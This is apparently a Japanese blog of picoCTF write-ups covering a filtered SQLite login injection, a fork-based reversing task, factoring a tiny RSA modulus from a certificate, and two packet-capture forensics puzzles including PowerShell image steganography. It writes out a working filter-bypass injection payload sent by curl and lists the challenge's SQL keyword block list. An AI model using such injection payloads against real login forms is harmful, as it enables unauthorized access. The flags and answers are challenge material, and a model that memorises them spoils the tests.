<head>
<link href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
<link href="style.css" rel="stylesheet">
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script>
</head>
	<body>
		<div class="container">
			<div class="row">
				<div class="col-sm-9 col-md-7 col-lg-5 mx-auto">
					<div class="card card-signin my-5">
						<div class="card-body">
							<h5 class="card-title text-center">Filtered SQLite Injection Challenge #3</h5>
														<form class="form-signin" action="index.php" method="post">
								<div class="form-label-group">
									<input type="text" id="user" name="user" class="form-control" placeholder="Username" required autofocus>
									<label for="user">Username</label>
								</div>

								<div class="form-label-group">
									<input type="password" id="pass" name="pass" class="form-control" placeholder="Password" required>
									<label for="pass">Password</label>
								</div>

								<button class="btn btn-lg btn-primary btn-block text-uppercase" type="submit">Sign in</button>
							</form>
						</div>
					</div>
				</div>
			</div>
		</div>
	</body>
</html>

http://mercury.picoctf.net:8650/filter.phpにアクセスすると、SQLインジェクション対策としてフィルターされている文字が確認できる。

Filters: or and true false union like = > < ; -- /* */ admin

Web Gauntlet 2と全く同じ要領でフラグを取れた。

curl -i http://mercury.picoctf.net:8650/index.php -d "user=adm'||'in'%00" -d "pass=1"
$ curl -i http://mercury.picoctf.net:8650/index.php -d "user=adm'||'in'%00" -d "pass=1"
HTTP/1.1 200 OK
Set-Cookie: PHPSESSID=tfnn4980lb5676c4aspcpqfmue; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-type: text/html; charset=UTF-8

Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.
curl -i http://mercury.picoctf.net:8650/filter.php -H "Cookie: PHPSESSID=tfnn4980lb5676c4aspcpqfmue"
$ curl -i http://mercury.picoctf.net:8650/filter.php -H "Cookie: PHPSESSID=tfnn4980lb5676c4aspcpqfmue"
HTTP/1.1 200 OK
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-type: text/html; charset=UTF-8

<code><span style="color: #000000">
<span style="color: #0000BB">&lt;?php<br />session_start</span><span style="color: #007700">();<br /><br />if&nbsp;(!isset(</span><span style="color: #0000BB">$_SESSION</span><span style="color: #007700">[</span><span style="color: #DD0000">"winner3"</span><span style="color: #007700">]))&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$_SESSION</span><span style="color: #007700">[</span><span style="color: #DD0000">"winner3"</span><span style="color: #007700">]&nbsp;=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;<br />}<br /></span><span style="color: #0000BB">$win&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">$_SESSION</span><span style="color: #007700">[</span><span style="color: #DD0000">"winner3"</span><span style="color: #007700">];<br /></span><span style="color: #0000BB">$view&nbsp;</span><span style="color: #007700">=&nbsp;(</span><span style="color: #0000BB">$_SERVER</span><span style="color: #007700">[</span><span style="color: #DD0000">"PHP_SELF"</span><span style="color: #007700">]&nbsp;==&nbsp;</span><span style="color: #DD0000">"/filter.php"</span><span style="color: #007700">);<br /><br />if&nbsp;(</span><span style="color: #0000BB">$win&nbsp;</span><span style="color: #007700">===&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$filter&nbsp;</span><span style="color: #007700">=&nbsp;array(</span><span style="color: #DD0000">"or"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"and"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"true"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"false"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"union"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"like"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"="</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"&gt;"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"&lt;"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">";"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"--"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"/*"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"*/"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"admin"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">$view</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;</span><span style="color: #DD0000">"Filters:&nbsp;"</span><span style="color: #007700">.</span><span style="color: #0000BB">implode</span><span style="color: #007700">(</span><span style="color: #DD0000">"&nbsp;"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$filter</span><span style="color: #007700">).</span><span style="color: #DD0000">"&lt;br/&gt;"</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />}&nbsp;else&nbsp;if&nbsp;(</span><span style="color: #0000BB">$win&nbsp;</span><span style="color: #007700">===&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">$view</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">highlight_file</span><span style="color: #007700">(</span><span style="color: #DD0000">"filter.php"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$_SESSION</span><span style="color: #007700">[</span><span style="color: #DD0000">"winner3"</span><span style="color: #007700">]&nbsp;=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;&lt;-&nbsp;Don't&nbsp;refresh!<br /></span><span style="color: #007700">}&nbsp;else&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$_SESSION</span><span style="color: #007700">[</span><span style="color: #DD0000">"winner3"</span><span style="color: #007700">]&nbsp;=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;<br />}<br /><br /></span><span style="color: #FF8000">//&nbsp;picoCTF{k3ep_1t_sh0rt_6fdd78c92c7f26a10acd3ece17<REDACTED>}<br /></span><span style="color: #0000BB">?&gt;<br /></span>
</span>
</code>

Forky (500points)

32ビットのELFファイルvuln を解析してフラグを取得する問題。

プログラムを実行した際に、doNothing関数に引数として渡される最後の整数を答えよとのこと。

vuln をchecksecで確認したところ、PIEが有効化されていた。

$ sudo checksec.sh --file=vuln

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable	FILE
Full RELRO      No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   69 Symbols	  No	0		0		vuln

とりあえずvuln を実行してみたが、特に目ぼしい挙動は見当たらなかった。

$ ./vuln
$

続いてltraceにかけてみた。forkが4回呼び出されているのが確認できた。

$ ltrace -i ./vuln
[0x56555441] __libc_start_main(0x56555566, 1, 0xffffd184, 0x56555600 <unfinished ...>
[0x565555a7] mmap(0, 4, 3, 33)                                                                                  = 0xf7fd9000
[0x565555bb] fork()                                                                                             = 59129
[0x565555c0] fork()                                                                                             = 59130
[0x565555c5] fork()                                                                                             = 59131
[0x565555ca] fork()                                                                                             = 59132
[0xffffffffffffffff] +++ exited (status 0) +++

vulnをIDAで眺めてみた。以下はmain関数の逆アセンブルである。

.text:00000566                         ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:00000566                         public main
.text:00000566                         main proc near
.text:00000566
.text:00000566                         var_14= dword ptr -14h
.text:00000566                         var_10= dword ptr -10h
.text:00000566                         var_C= dword ptr -0Ch
.text:00000566                         argc= dword ptr  8
.text:00000566                         argv= dword ptr  0Ch
.text:00000566                         envp= dword ptr  10h
.text:00000566
.text:00000566 8D 4C 24 04             lea     ecx, [esp+4]
.text:0000056A 83 E4 F0                and     esp, 0FFFFFFF0h
.text:0000056D FF 71 FC                push    dword ptr [ecx-4]
.text:00000570 55                      push    ebp
.text:00000571 89 E5                   mov     ebp, esp
.text:00000573 53                      push    ebx
.text:00000574 51                      push    ecx
.text:00000575 83 EC 10                sub     esp, 10h
.text:00000578 E8 D3 FE FF FF          call    __x86_get_pc_thunk_bx
.text:0000057D 81 C3 57 1A 00 00       add     ebx, (offset _GLOBAL_OFFSET_TABLE_ - $)
.text:00000583 C7 45 EC 03 00 00 00    mov     [ebp+var_14], 3
.text:0000058A C7 45 F0 21 00 00 00    mov     [ebp+var_10], 21h ; '!'
.text:00000591 83 EC 08                sub     esp, 8
.text:00000594 6A 00                   push    0               ; offset
.text:00000596 6A FF                   push    0FFFFFFFFh      ; file descriptor
.text:00000598 FF 75 F0                push    [ebp+var_10]    ; flags
.text:0000059B FF 75 EC                push    [ebp+var_14]    ; protect
.text:0000059E 6A 04                   push    4               ; length
.text:000005A0 6A 00                   push    0               ; address
.text:000005A2 E8 29 FE FF FF          call    _mmap
.text:000005A7 83 C4 20                add     esp, 20h
.text:000005AA 89 45 F4                mov     [ebp+var_C], eax
.text:000005AD 8B 45 F4                mov     eax, [ebp+var_C]
.text:000005B0 C7 00 00 CA 9A 3B       mov     dword ptr [eax], 3B9ACA00h
.text:000005B6 E8 35 FE FF FF          call    _fork
.text:000005BB E8 30 FE FF FF          call    _fork
.text:000005C0 E8 2B FE FF FF          call    _fork
.text:000005C5 E8 26 FE FF FF          call    _fork           ; the child and parent will execute every line of code after the fork (each separately)
.text:000005CA 8B 45 F4                mov     eax, [ebp+var_C]
.text:000005CD 8B 00                   mov     eax, [eax]
.text:000005CF 8D 90 D2 02 96 49       lea     edx, [eax+499602D2h]
.text:000005D5 8B 45 F4                mov     eax, [ebp+var_C]
.text:000005D8 89 10                   mov     [eax], edx
.text:000005DA 8B 45 F4                mov     eax, [ebp+var_C]
.text:000005DD 8B 00                   mov     eax, [eax]
.text:000005DF 83 EC 0C                sub     esp, 0Ch
.text:000005E2 50                      push    eax
.text:000005E3 E8 65 FF FF FF          call    doNothing
.text:000005E8 83 C4 10                add     esp, 10h
.text:000005EB B8 00 00 00 00          mov     eax, 0
.text:000005F0 8D 65 F8                lea     esp, [ebp-8]
.text:000005F3 59                      pop     ecx
.text:000005F4 5B                      pop     ebx
.text:000005F5 5D                      pop     ebp
.text:000005F6 8D 61 FC                lea     esp, [ecx-4]
.text:000005F9 C3                      retn
.text:000005F9                         main endp
.text:000005F9

さらに以下はmain関数をGhidraでデコンパイルしたものである。

undefined4 main(void)

{
  int *piVar1;
  
  piVar1 = (int *)mmap((void *)0x0,4,3,0x21,-1,0);
  *piVar1 = 1000000000;
  fork();
  fork();
  fork();
  fork();
  *piVar1 = *piVar1 + 0x499602d2;
  doNothing(*piVar1);
  return 0;
}

プログラムの流れは以下の通り。

  1. 変数を1000000000で初期化する。
  2. forkを4回呼び出す。
  3. 変数に0x499602d2を加算する。
  4. doNothing関数に変数を引数として渡して実行する。

doNothing関数は名前の通り、何もしない関数である。

void doNothing(void)

{
  return;
}

大して複雑なプログラムではないので、上記のコードをPythonに書き換えて実行すれば解けるだろうと考え、以下のPythonスクリプトを書いた。

import os

def doNothing(num):
    return num
    
num = 1000000000

os.fork()
os.fork()
os.fork()
os.fork()

num = num + 0x499602d2

print(doNothing(num))

以下は実行結果。

$ python3 myforky.py
2234567890
2234567890
2234567890
2234567890
2234567890
2234567890
2234567890
2234567890
2234567890
2234567890
2234567890
2234567890
2234567890
2234567890
2234567890
2234567890

しかし、2234567890は正しい答えではなかった。

改めて元のコードを見てみると、変数はint型のポインタであることに気が付いた。

piVar1 = (int *)mmap((void *)0x0,4,3,0x21,-1,0);
*piVar1 = 1000000000;

なのでPythonを使うのはやめて、以下のCプログラムを用意した。(ほぼGhidraのデコンパイルコードのコピペ)

#include <stdio.h>


int main(void)
{
	int *piVar1;
	piVar1 = (int *)mmap((void *)0x0,4,3,0x21,-1,0);
	*piVar1 = 1000000000;

	fork();
	fork();
	fork();
	fork();

	*piVar1 = *piVar1 + 0x499602d2;
	printf("%d\n", *piVar1);

	return 0;
}

上記のコードをコンパイルして実行。

gcc myforky.c -o myforky -fno-pie -fno-stack-protector -m32
$ ./myforky
-825831516
408736374
1643304264
-1417095142
-2060399406
$ -182527252
1052040638
460777012
-2008358768
-773790878
1695344902
-1365054504
-130486614
1104081276
-1956318130
-721750240

答えは-721750240だった。

john_pollard (500points)

RSAの証明書を解析してフラグを取得する問題。

以下のPEM形式のRSA証明書を渡された。

-----BEGIN CERTIFICATE-----
MIIB6zCB1AICMDkwDQYJKoZIhvcNAQECBQAwEjEQMA4GA1UEAxMHUGljb0NURjAe
Fw0xOTA3MDgwNzIxMThaFw0xOTA2MjYxNzM0MzhaMGcxEDAOBgNVBAsTB1BpY29D
VEYxEDAOBgNVBAoTB1BpY29DVEYxEDAOBgNVBAcTB1BpY29DVEYxEDAOBgNVBAgT
B1BpY29DVEYxCzAJBgNVBAYTAlVTMRAwDgYDVQQDEwdQaWNvQ1RGMCIwDQYJKoZI
hvcNAQEBBQADEQAwDgIHEaTUUhKxfwIDAQABMA0GCSqGSIb3DQEBAgUAA4IBAQAH
al1hMsGeBb3rd/Oq+7uDguueopOvDC864hrpdGubgtjv/hrIsph7FtxM2B4rkkyA
eIV708y31HIplCLruxFdspqvfGvLsCynkYfsY70i6I/dOA6l4Qq/NdmkPDx7edqO
T/zK4jhnRafebqJucXFH8Ak+G6ASNRWhKfFZJTWj5CoyTMIutLU9lDiTXng3rDU1
BhXg04ei1jvAf0UrtpeOA6jUyeCLaKDFRbrOm35xI79r28yO8ng1UAzTRclvkORt
b8LMxw7e+vdIntBGqf7T25PLn/MycGPPvNXyIsTzvvY/MXXJHnAqpI5DlqwzbRHz
q16/S1WLvzg4PsElmv1f
-----END CERTIFICATE-----

以下はCyberChefのParse X.509 certificate (Input format: PEM)を使用して上記の証明書をパースしたもの。

Version:          1 (0x00)
Serial number:    12345 (0x3039)
Algorithm ID:     MD2withRSA
Validity
  Not Before:     08/07/2019 07:21:18 (dd-mm-yyyy hh:mm:ss) (190708072118Z)
  Not After:      26/06/2019 17:34:38 (dd-mm-yyyy hh:mm:ss) (190626173438Z)
Issuer
  CN = PicoCTF
Subject
  OU = PicoCTF
  O  = PicoCTF
  L  = PicoCTF
  ST = PicoCTF
  C  = US
  CN = PicoCTF
Public Key
  Algorithm:      RSA
  Length:         53 bits
  Modulus:        11:a4:d4:52:12:b1:7f
  Exponent:       65537 (0x10001)
Certificate Signature
  Algorithm:      MD2withRSA
  Signature:      07:6a:5d:61:32:c1:9e:05:bd:eb:77:f3:aa:fb:bb:83:
                  82:eb:9e:a2:93:af:0c:2f:3a:e2:1a:e9:74:6b:9b:82:
                  d8:ef:fe:1a:c8:b2:98:7b:16:dc:4c:d8:1e:2b:92:4c:
                  80:78:85:7b:d3:cc:b7:d4:72:29:94:22:eb:bb:11:5d:
                  b2:9a:af:7c:6b:cb:b0:2c:a7:91:87:ec:63:bd:22:e8:
                  8f:dd:38:0e:a5:e1:0a:bf:35:d9:a4:3c:3c:7b:79:da:
                  8e:4f:fc:ca:e2:38:67:45:a7:de:6e:a2:6e:71:71:47:
                  f0:09:3e:1b:a0:12:35:15:a1:29:f1:59:25:35:a3:e4:
                  2a:32:4c:c2:2e:b4:b5:3d:94:38:93:5e:78:37:ac:35:
                  35:06:15:e0:d3:87:a2:d6:3b:c0:7f:45:2b:b6:97:8e:
                  03:a8:d4:c9:e0:8b:68:a0:c5:45:ba:ce:9b:7e:71:23:
                  bf:6b:db:cc:8e:f2:78:35:50:0c:d3:45:c9:6f:90:e4:
                  6d:6f:c2:cc:c7:0e:de:fa:f7:48:9e:d0:46:a9:fe:d3:
                  db:93:cb:9f:f3:32:70:63:cf:bc:d5:f2:22:c4:f3:be:
                  f6:3f:31:75:c9:1e:70:2a:a4:8e:43:96:ac:33:6d:11:
                  f3:ab:5e:bf:4b:55:8b:bf:38:38:3e:c1:25:9a:fd:5f

Extensions

ModulusはRSA暗号におけるNの値を表している。Nの値は4966306421059967である。

>>> 0x11a4d45212b17f
4966306421059967

ExponentはEの値を表している。Eの値は65537である。

こちらのサイトNの値4966306421059967を素因数分解してpqの値を求めた。

結果、pの値は73176001qの値は67867967と判明した。

続いて、こちらのサイトNEpqの値を入力してDの値を求めた。

Dの値は3627069957225473だった。

N4966306421059967
E65537
p73176001
q67867967
D3627069957225473

必要な値は全て手に入ったが、ここからどうフラグを求めるのかが分からなかった。渡されたのはRSAの証明書のみで、復号するべき暗号文などは特にない。

ヒントを見てみた。以下、ヒント。

The flag is in the format picoCTF{p,q}

pqの値を送ればいいらしい。

フラグはpicoCTF{73176001,67867967}だった。

shark on wire 2 (300points)

PCAPファイル capture.pcapを解析してフラグを取得する問題。

結論から言うと、自力では解けなかった。

このPCAPファイルには複数の囮のフラグがちりばめられており、自分はそれにまんまとハメられてしまった。

UDPの8888番ポート宛の通信が怪しいと睨んで、この通信からどうにかフラグを復元しようと四苦八苦していたのだが、どう頑張ってもフラグを取れなかった。

ヒントを求めて、他所のwriteupをチラ見したところ、「(パケットの)ボディ部分にはフラグはない。それ以外の部分に注目してみろ」との一文が目についた。

ヒントに従って改めてPCAPを眺めたところ、ようやく正解にたどり着いた。

wiresharkでUDPの22番ポート宛の通信をフィルターしてみた (udp.port == 22)。
すると、送信元のポート番号がフラグを表していることに気が付いた。

送信元のポート番号はすべて5000番台なのだが、下3桁をASCII変換するとフラグになった。

5112 -> 112 -> p

以下のtsharkコマンドで送信元のポート番号を抽出。

tshark -r $PCAP -Y "udp.port == 22" -T fields -e udp.srcport

$ PCAP=capture.pcap
$ tshark -r $PCAP -Y "udp.port == 22" -T fields -e udp.srcport
5000
5112
5105
5099
5111
5067
5084
5070
5123
5112
5049
5076
5076
5102
5051
5114
5051
5100
5095
5100
5097
5116
5097
5095
5118
5049
5097
5095
5115
5116
5051
5103
5048
5125
5000

以下のPythonスクリプトで、送信元のポート番号の下3桁をASCII変換してフラグを取得した。

encoded_flags = ['112','105','099','111','067','084','070','123','112','049','076','076','102','051','114','051','100','095','100','097','116','097','095','118','049','097','095','115','116','051','103','048','125']
flag = ''
for i in encoded_flags:
	flag += chr(int(i))
print(flag)
$ python3 flag-decoder.py
picoCTF{p1LLf3r3d_data_v1a_<DEDACTED>}

Very very very Hidden (300points)

PCAPファイルtry_me.pcapを解析してフラグを取得する問題。

WiresharkでPCAPを眺めたところ、以下の2つのHTTPリクエストを発見。

GET /NothingSus/duck.png HTTP/1.1
Host: ec2-54-147-39-126.compute-1.amazonaws.com
Connection: keep-alive
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
GET /NothingSus/evil_duck.png HTTP/1.1
Host: ec2-54-147-39-126.compute-1.amazonaws.com
Connection: keep-alive
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

duck.pngevil_duck.pngというPNGの画像ファイルをダウンロードしているようだったので、抽出してみた。

$ ls -lh
total 3.7M
-rwxrwxrwx 1 forensics forensics    0 May 16  2023 %5c
-rwxrwxrwx 1 forensics forensics    6 May 16  2023 NothingSus
-rwxrwxrwx 1 forensics forensics 1.3M May 16  2023 duck.png
-rwxrwxrwx 1 forensics forensics 2.4M May 16  2023 evil_duck.png
-rwxrwxrwx 1 forensics forensics  196 May 16  2023 favicon.ico

duck.pngevil_duck.pngは、ぱっと見、同一のPNG画像ファイルのなのだが、evil_duck.pngのファイルサイズはduck.pngの2倍近くあった。

それぞれの画像ファイルをexiftool、binwalk、steghide、stegsolveで調べてみたが、特にこれと言った発見はなかった。

ヒントを見てた。

I believe you found something, but are there any more subtle hints as random queries?

The flag will only be found once you reverse the hidden message.

PCAPを眺めていて、ほかに気になった点と言えば、PowerShellに関するパケットがチラホラ見受けられたことだった。

powershell.fios-router.homepowershell.localというドメインの名前解決要求を送っていたり、powershell.orgへHTTPリクエストを送っていたり。

GET / HTTP/1.1
Host: powershell.org
Connection: keep-alive
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

HTTP/1.1 301 Moved Permanently
Date: Sun, 24 Jan 2021 23:55:02 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Cache-Control: max-age=3600
Expires: Mon, 25 Jan 2021 00:55:02 GMT
Location: https://powershell.org/
cf-request-id: 07d86b9ec10000f0ea34322000000001
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=ELOu0tEaWLx24EBcHYKNZW9phLwKCnd76o%2BK46lfooraLRhijEOd3eTMTm1dzBpmOUQwc7r%2BOJrCW4zCEoV77N16I0Sh35UF01rZGxmsJg%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"max_age":604800,"report_to":"cf-nel"}
Vary: Accept-Encoding
Server: cloudflare
CF-RAY: 616daede0b4cf0ea-IAD

0

レスポンスのReport-Toヘッダーに含まれていたURLをデコードしてみたが、意味のあるデータに復号されなかった。

このあたりで行き詰ったので、手掛かりを求めて他所のwriteupを覗いてみた。すると、「PowerShell steganography」というキーワードを見つけたので、こちらのキーワードをググってみた。

するとInvoke-PSImageというPowerShellスクリプトにたどり着いた。どうやら本チャレンジは、このスクリプトを利用してevil_duck.pngになんらかのPowerShellスクリプトを埋め込んでいるっぽい。

さらにググったところ、Extract-PSImageというPowerShellスクリプトを発見した。
このスクリプトを使えばevil_duck.pngに埋め込まれたPowerShellスクリプトを抽出できそうである。

スクリプトをダウンロードして実行してみた。

> Import-Module .\Extract-Invoke-PSImage.ps1

> Extract-Invoke-PSImage -Image .\evil_duck.png -Out out.ps1
[Oneliner to extract embedded payload]
sal a New-Object;Add-Type -AssemblyName "System.Drawing";$g=a System.Drawing.Bitmap("C:\Users\analyst\Desktop\Very-very-very-Hidden\HTTP-export\evil_duck.png");$o=a Byte[] 1490837;(0..811)|%{foreach($x in(0..1222)){$p=$g.GetPixel($x,$_);$o[$_*1223+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G-band15))}};$g.Dispose();[System.Text.Encoding]::ASCII.GetString($o[0..1490831])|Out-File $Out
[First 50 characters of extracted payload]
$out = "flag.txt"
$enc = [system.Text.Encoding]::

以下は、抽出されたPowerShellスクリプトである。

$out = "flag.txt"
$enc = [system.Text.Encoding]::UTF8
$string1 = "HEYWherE(IS_tNE)50uP?^DId_YOu(]E@t*mY_3RD()B2g3l?"
$string2 = "8,:8+14>Fx0l+$*KjVD>[o*.;+1|*[n&2G^201l&,Mv+_'T_B"

$data1 = $enc.GetBytes($string1)
$bytes = $enc.GetBytes($string2)

for($i=0; $i -lt $bytes.count ; $i++)
{
    $bytes[$i] = $bytes[$i] -bxor $data1[$i]
}
[System.IO.File]::WriteAllBytes("$out", $bytes)

HEYWherE(IS_tNE)50uP?^DId_YOu(]E@t*mY_3RD()B2g3l?8,:8+14>Fx0l+$*KjVD>[o*.;+1|*[n&2G^201l&,Mv+_'T_Bという文字列をXORしてflag.txtに書き込む模様。

CyberChefのXORを利用してフラグを復号できた。

picoCTF{n1c3_job_f1nd1ng_th3_s3cr3t_in_the_<REDACTED>}

Leave a Reply

Your email address will not be published. Required fields are marked *